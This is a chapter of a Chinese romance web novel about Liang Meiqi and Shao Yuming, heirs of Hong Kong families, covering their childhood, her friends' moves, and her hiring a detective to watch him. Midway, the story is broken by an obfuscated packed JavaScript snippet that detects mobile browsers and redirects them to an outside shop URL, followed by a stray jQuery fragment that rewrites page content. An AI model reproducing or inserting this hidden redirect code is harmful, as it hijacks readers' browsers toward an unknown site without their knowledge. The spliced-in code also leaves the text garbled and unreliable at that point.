“是我喜欢你,大小姐。”
和邵聿明互相看不顺眼好几年,梁美琪乍一听到邵聿明这番令人言论,几乎是酥麻的电流窜过全身般震动。
“你...”梁美琪仍旧记得四年前邵聿明让自己滚的嘴脸,现在说什么喜欢,谁信哪,“邵聿明,你现在倒是学得油嘴滑舌了,不学好。”
餐桌上每盘餐点都尝过,梁美琪从容起身,乌黑波浪卷发随着往后一扬,如海藻般散开,温顺地垂落肩头。
“好了,我吃好了,你慢慢用餐吧。”梁美琪潇洒离去,细长的高跟鞋再次踩出沉沉的哒哒声,“对了,你那辆红色敞篷车我开过来了,别拿我家当车库。”
赤焰般的红来去匆匆,似乎从来没有任何留恋,只余空气中淡淡馨香残留。
热闹随着梁美琪的离开而化为冷清,邵聿明一一扫过餐盘,不禁弯了弯唇角,这人和小时候一样,吃菜吃肉也要挑纹理最漂亮的,完全没变。
邵聿明陷入昨夜的回忆。
身体的躁动难以抑制,那抹红唇仿佛引人采撷,可是命令她张嘴的话语毫无威慑力,梁美琪只更加来劲,狠狠咬了上来。
一口咬上自己的唇角,丝丝血迹瞬间涌出。
抬手用指腹擦过破皮受伤的唇角,隐隐刺痛连带着昨夜袭来的温软与馨香一同涌入,邵聿明弯了弯唇。
果然,会乖乖听话的话,她就不是梁大小姐了。
===
梁美琪从来不会乖乖听话,现在如此,八年前同样如此。
当年全凭着梁美琪撞了南墙也不死心的执拗,这才交了个朋友,能自由出入邵家玩耍,可时间长了,梁美琪的新鲜劲过去,总是对邵聿明只管看书写字做题的生活感到无聊,小小的书房框不住梁美琪外出玩耍的心,她还是更爱和其他朋友在户外放风筝、玩康乐棋、跳绳、捉迷藏,即使只是在宽敞的空地疯跑也是自由自在的。
渐渐的,梁美琪主动去邵家的次数减少,邵聿明的书房四周只能传来女孩清凌凌的笑声,含着愉悦与欢快,像是被微风吹拂的风铃,叮当作响。
几个同龄人与梁美琪每日一起上学,一起放学,回到家里吃过晚饭又一块玩耍,四处都有他们玩乐的影子,其中,梁美琪和李慧珍、朱自力关系最好,玩得最开心。
邵聿明在书房中温书,抬头远眺,只能看见蝴蝶般翩跹飞舞的女孩,不曾再踏足牢笼一步。
往日十分钟就能温习的书本整整看了一个小时也难以看进眼中,仿佛纸张上的字迹密密麻麻,字生字,生出了令人烦躁的情绪。
正同朱自力、李慧珍捉迷藏的梁美琪四处疯跑着寻人,冲到叶榕后捉到了躲起来的朱自力,又拽着朱自力搜寻,最终在喷泉雕塑后看见了藏身于此的李慧珍。
几个小孩跑得气喘吁吁,双颊泛红,脸上的笑意却从未消减。
靠着雕塑坐在地上,梁美琪得意:“我把你们都捉到了,接下来该朱自力找了。”
“等会儿,让我缓缓,累死我了。”
“哈哈哈哈。”
欢声笑语不断,直到瘫坐在地上的小孩身旁出现一道高大身影。梁美琪的视线顺着旁边的长裤往上攀爬,视线中映入一张冷漠蹙眉的脸。
“聿明哥哥,你要不要来和我们玩捉迷藏?”梁美琪热情招呼,朱自力和李慧珍倒是有些勉强,原因无他,两人都有些怕邵聿明。
“和他们一起?不玩。”邵聿明居高临下俯视着几人,语调清冷低沉。
“那好吧,你回去好好学习吧。”梁美琪冲他挥手再见,笑得清甜。
邵聿明这一次倒是没像往常那般轻易离去,踟蹰不前的脚步始终没有挪动,半晌后,嘴唇嗫嚅,低声询问:“我那里有新的漫画书,你来不来看?”
“改天吧,我现在要和慧珍姐姐,自力哥哥一起捉迷藏。”梁美琪双手撑着地面,翻身而起,忙招呼好朋友休息够了,继续游戏。
邵聿明回到书房,看着窗外奔跑的影子若有所思。
.....
梁美琪愉快的玩耍时光很快遭遇重大转折,谁能料到,前后三个月时间里,朱自力家和李慧珍家先后搬走,和自己玩得最开心的两个好朋友都相隔很远了。
惆怅的梁美琪放学后孤单了不少,独自背着书包回到太平山顶别墅区,径直跑向邵家找人诉苦。
“邵聿明哥哥,我好命苦哦,朱自力哥哥和慧珍姐姐都搬走了。”
邵聿明面无表情地递给她最新的漫画书:“搬走就搬走了吧,看看漫画书。”
“好吧。”梁美琪轻易被转移了注意力,捧着漫画书看得津津有味。
儿时的友谊总是单纯且仓促的,不掺杂一丝杂质,却无法阻止搬迁变动的脚步。
距离越来越远,记忆也逐渐模糊。
就连再次相聚,朱自力和李慧珍也想不太起来当初搬家的原因。
中环西餐厅,三人约着吃午饭,谈及过去的童真岁月,梁美琪再次控诉两人早早搬家:“你们倒好,一个两个全搬走了,我可伤心难过了好一阵。”
朱自力解释:“我们家好像是因为做生意要搬,搬过去更近还是怎么回事来着,我也记不清了。”
李慧珍点头:“我们家应该也是,你也知道的,小孩哪有办法,我爸妈看到有更能发展的生意就搬了。”
“行行行。”梁美琪朝两人努努嘴,“一个个都做大生意呢。”
聚餐和各自回家的李慧珍同父母提到当年搬家的事,经由父母回忆这才想起来某些细节,一个电话又打到了梁家:“美琪,原来当年我爸妈是被邵氏介绍了笔大订单,干脆搬去西贡发展,也亏了那笔订单,我们家抓住机会才越做越大。”
梁美琪倒是不知道这里面还有邵氏的事:“你们家和邵家关系还不错?”
“谁知道呢,其实也没有吧,就普通邻居关系,邵家人倒是心善哎。”
挂掉电话,梁美琪独自在宽大的别墅,若有所思。
===
梁大小姐不会乖乖听话,更加会自主遗忘掉对自己不利的话。
懒得去深究喝醉那晚发生的事,梁美琪对明显在胡说八道的邵聿明恨得牙痒痒,立刻开始折腾他。
港城美食丰富,梁美琪爱好更是广泛,每日几个电话打去邵氏集团总经理办公室,罗列着想要的食物,使唤邵聿明去买。
从元朗大浦到西贡九龙,亦或是自深水埗到维港中环...蔡展鹏每日接到梁大小姐安排的任务,勤勤恳恳转告给邵总,原想着这些跑腿的活必定是落在自己身上或者安排助理去办,却不料,邵总竟是要亲自去办。
虎头奔穿梭于大街小巷,后车厢里的邵聿明翻看着文件资料,待感受到刹车停靠,这才放下工作,利用短暂的时间下车购置梁美琪点名的购物清单。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344778|199486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以往规定了车厢内不能出现任何食物和饮料的邵聿明亲自打破了自己定下的规矩,车座上堆叠着糕点、奶油蛋糕...甚至再绕路来到窄小巷道,购置梁美琪口中最正宗的地摊鸡蛋仔。
蔡展鹏开着车,嗅到后座传来的阵阵香味,鼻翼翕动间只觉饥肠辘辘:“邵总,这些买东西的小事您就不用亲自来了,我去安排人去办就是。”
邵氏家大业大,就是特意安排个岗位专职替梁大小姐采买食物也是没问题的。
“不用,我亲自买。”邵聿明低沉的声音自后座传来。
蔡展鹏心中腹诽邵总竟然不懂变通,下一秒就听到邵总对梁大小姐的预判。
“她在找人监督的。”
“啊?”
蔡展鹏倒是没想过梁大小姐竟还有如此心思,待反应过来时,刻意放慢车速,在一处糖水铺停留,等邵总下车买下一份杨枝甘露时,蔡展鹏终于察觉了不对劲。
有人在跟着,却没有恶意,而是举着相机...难道这是梁大小姐安排的?
......
从私家侦探手中接过这几日邵聿明亲自采买食物的照片,梁美琪不由微惊,这人竟然真的亲自去买?
不知道是太傻还是太精。
眼前十来张照片中出现熟悉的身影,老旧街市上摊贩流动,似乎隔着照片都传来了吆喝叫卖声,与这里格格不入的西装革履的男人下车、付钱、购物,干脆利落地西服衣摆在空中划出锋利的弧度,转瞬驶离。
“这个邵聿明还真挺笨的,竟然真的自己去买。”梁美琪付了报酬,打发私家侦探,“再跟一星期,千万不能被察觉,记得保密。”
“好的。”私家侦探哪能不认识梁大小姐,更加对自己跟踪拍照的男人熟悉,“梁大小姐,肯定给您办得妥当!您有其他业务需求也可以找我,婚外情调查、捉奸、偷拍...我都精通。”
梁美琪:“...?”
倒也用不上。
邵聿明似乎真的在履行当初的诺言,依照自己诱骗他签字的不平等条款那样,事事对自己言听计从,几乎寻不到什么错处。
梁美琪还不信了。
===
一月下旬,梁父梁母结束在欧洲的生意和度假回港,特意告知了梁美琪错误的航班时间,提前两天回港,准备给孩子一个惊喜。
飞机落地,坐上专座,听着秘书汇报女儿梁美琪最近的动向。
王秘书:“先生,太太,大小姐最近很听话。”
梁景华笑道:“这孩子知道收敛点脾气才是听话。”
张慧欣嗔怪丈夫:“胡说,我们美琪脾气最好了。”
“好好好,美琪脾气最好。”
夫妻俩乘坐着梁景华的专用座驾返回浅水湾别墅区,视线中出现梁家别墅时,视线中却出现一辆摩托车,来人头盔一摘,准备入内。
“那是谁?”梁父不曾见过这人。
王秘书下车询问,不多时便带回了最新消息:“先生,太太,说是大小姐找的私家侦探。”
“找私家侦探做什么?”张慧欣惊疑,这种私家侦探都是偷拍婚外情的呀。
王秘书一脸为难:“大小姐让他跟踪偷拍宏发置业的总经理邵聿明的日常生活,拍了几十张照片了。”
梁父看向妻子:“脾气好?”
梁母讪笑两声:“是有点变态了。”